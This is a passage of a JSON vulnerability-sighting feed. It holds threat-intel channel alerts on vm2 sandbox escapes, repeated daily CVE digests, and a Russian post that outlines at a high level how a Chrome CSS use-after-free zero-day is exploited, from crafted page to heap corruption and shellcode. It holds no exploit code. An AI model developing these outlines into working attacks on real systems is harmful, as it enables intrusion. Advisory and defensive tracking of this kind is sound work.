Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:17.250379Z"}, {"uuid": "de719071-4c16-4646-8190-b4cf17e22f61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://t.me/shimiscyberworld/1180", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-24120 \u2014 CVSS 9.8\nCVE-2026-24120: vm2 Sandbox Escape Allows Host Command Execution\n\nCVE-2026-24120 \u2014 vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to wri\n\n\ud83d\udd34 Critical \u00b7 3 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-24120 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:18.017180Z"}, {"uuid": "c9c61caa-81f9-4852-85c7-43f5a5be6dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://t.me/shimiscyberworld/1181", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-24781 \u2014 CVSS 9.8\nVM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes Node.js Applications\n\nCVE-2026-24781 \u2014 vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows \n\n\ud83d\udd34 Critical \u00b7 2 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-24781 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:17.835849Z"}, {"uuid": "8b07fa55-b763-4048-b1f7-9828407ae297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://t.me/shimiscyberworld/1179", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-24118 \u2014 CVSS 9.8\nVM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes Node.js Applications\n\nCVE-2026-24118 \u2014 vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which\n\n\ud83d\udd34 Critical \u00b7 2 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-24118 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:17.979587Z"}, {"uuid": "e2bd9656-648b-4260-b6e2-a3aed8e5ff19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://t.me/shimiscyberworld/1179", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-24118 \u2014 CVSS 9.8\nVM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes Node.js Applications\n\nCVE-2026-24118 \u2014 vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which\n\n\ud83d\udd34 Critical \u00b7 2 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-24118 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:09.771964Z"}, {"uuid": "beb93cca-f3fa-4495-80d7-b0a8872b9580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://t.me/shimiscyberworld/1180", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-24120 \u2014 CVSS 9.8\nCVE-2026-24120: vm2 Sandbox Escape Allows Host Command Execution\n\nCVE-2026-24120 \u2014 vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to wri\n\n\ud83d\udd34 Critical \u00b7 3 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-24120 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:09.693829Z"}, {"uuid": "01fd10dc-0d21-4d0e-b168-f70d6d271d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:10.612582Z"}, {"uuid": "01f3856e-f7de-4c11-a411-fbc41f89537a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://t.me/shimiscyberworld/1181", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-24781 \u2014 CVSS 9.8\nVM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes Node.js Applications\n\nCVE-2026-24781 \u2014 vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows \n\n\ud83d\udd34 Critical \u00b7 2 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-24781 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:09.945273Z"}, {"uuid": "d9cef4b2-8d48-435a-86fb-dc6322c959e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:10.691265Z"}, {"uuid": "64c256ea-5a87-42bd-a1fb-dc224ef75d66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:33.909546Z"}, {"uuid": "2584ca6b-ea84-4ff5-bea3-9e4507b99033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2465", "type": "seen", "source": "https://t.me/shimiscyberworld/1424", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-12\n\n\ud83d\udcca 99 vulnerabilities detected today \u2014 33 \ud83d\udd34 Critical, 66 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42869 (10) \u2014 CVE-2026-42869: SOCFortress CoPilot Critical Auth Bypass\n  \u2022 CVE-2026-29204 (10) \u2014 CVE-2026-29204: Critical Client Area Vulnerability Exposes\u2026\n  \u2022 CVE-2026-42823 (9.9) \u2014 CVE-2026-42823: Critical Privilege Escalation in Azure\u2026\n  \u2022 CVE-2026-42898 (9.9) \u2014 Microsoft Dynamics 365 On-Premises Critical Code Injection\u2026\n  \u2022 CVE-2025-6577 (9.8) \u2014 Akilli Commerce E-Commerce Website SQLi Vulnerability\u2026\n  \u2022 CVE-2026-43992 (9.8) \u2014 CVE-2026-43992: JunoClaw AI Exposes BIP-39 Seeds in Tool\u2026\n  \u2022 CVE-2026-26083 (9.8) \u2014 Fortinet FortiSandbox Critical RCE: Unauthenticated\u2026\n  \u2022 CVE-2026-41089 (9.8) \u2014 CVE-2026-41089: Critical Netlogon RCE Threatens Windows\u2026\n  \u2026 and 25 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2026-41489 (8.8) \u2014 Pi-hole Privilege Escalation via Systemd Scripts\u2026\n  \u2022 CVE-2026-7256 (8.8) \u2014 Zyxel WRE6505 v2: High-Severity Command Injection\u2026\n  \u2022 CVE-2026-6001 (8.8) \u2014 CVE-2026-6001: ABIS BAPS\u0130S Authorization Bypass Exposes\u2026\n  \u2022 CVE-2026-2465 (8.8) \u2014 Turboard FOR-S Privilege Escalation via Incorrect\u2026\n  \u2022 CVE-2026-43937 (8.8) \u2014 YetAnotherForum.NET Vulnerability Allows Arbitrary SQL\u2026\n  \u2022 CVE-2026-8111 (8.8) \u2014 Ivanti Endpoint Manager RCE via SQL Injection\u2026\n  \u2022 CVE-2026-23819 (8.8) \u2014 AOS-10/AOS-8 Instant AP Vulnerability Allows Remote Code\u2026\n  \u2022 CVE-2026-8429 (8.8) \u2014 SPIP RCE Vulnerability (CVE-2026-8429) Bypasses Security\u2026\n  \u2022 CVE-2026-43888 (8.7) \u2014 Outline Service Vulnerability CVE-2026-43888 Allows\u2026\n  \u2022 CVE-2026-43912 (8.7) \u2014 Vaultwarden CVE-2026-43912 Allows Org Data Access via Group\u2026\n  \u2026 and 56 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:54.386448Z"}, {"uuid": "5f9499aa-7b61-42ee-b84a-6751db2e1c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-12)", "content": "", "creation_timestamp": "2026-09-13T10:15:11.912529Z"}, {"uuid": "dc8cceca-a34a-45c9-86d4-dc1cdb72f8e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24332", "type": "seen", "source": "Telegram/uk9yoRqcZiLOpAGjv24UEoeHuOZU_BlMWygh7B7a0pT6RpM", "content": "", "creation_timestamp": "2026-09-14T03:00:07.359348Z"}, {"uuid": "261edff4-51da-4e49-99c7-a5bfb1cdca96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/purp_sec/1415", "content": "\u2705 \u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u044b\u0439 0-day \u0432 Chrome \u0432 2026 \u0433\u043e\u0434\u0443\n\nCVE-2026-2441 \u2014 heap use-after-free \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 CSS Google Chrome. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0438\u043d\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439 \u0438\u0442\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CSSFontFeatureValuesMap \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 @font-feature-values. \u0412 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u043a \u0443\u0436\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 (UAF), \u0447\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u0440\u0435\u043d\u0434\u0435\u0440-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f in the wild. Google \u0434\u0435\u0442\u0430\u043b\u0438 \u0431\u0430\u0433\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442.\n\n\u041a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\n\ud83d\udd35\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c CSS, \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044f\u0449\u0438\u043c use-after-free \u0432 CSSFontFeatureValuesMap.\n\ud83d\udd35\u0414\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043e \u0446\u0435\u043b\u0438 \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c.\n\ud83d\udd35\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Chrome.\n\ud83d\udd35\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 CSS \u0432 \u0440\u0435\u043d\u0434\u0435\u0440-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 use-after-free, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f heap corruption, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c primitive \u0442\u0438\u043f\u0430 arbitrary read/write \u0438 \u0434\u0430\u043b\u0435\u0435 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c ROP/JOP-\u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0438\u043b\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c shellcode \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 renderer.\n\ud83d\udd35\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f 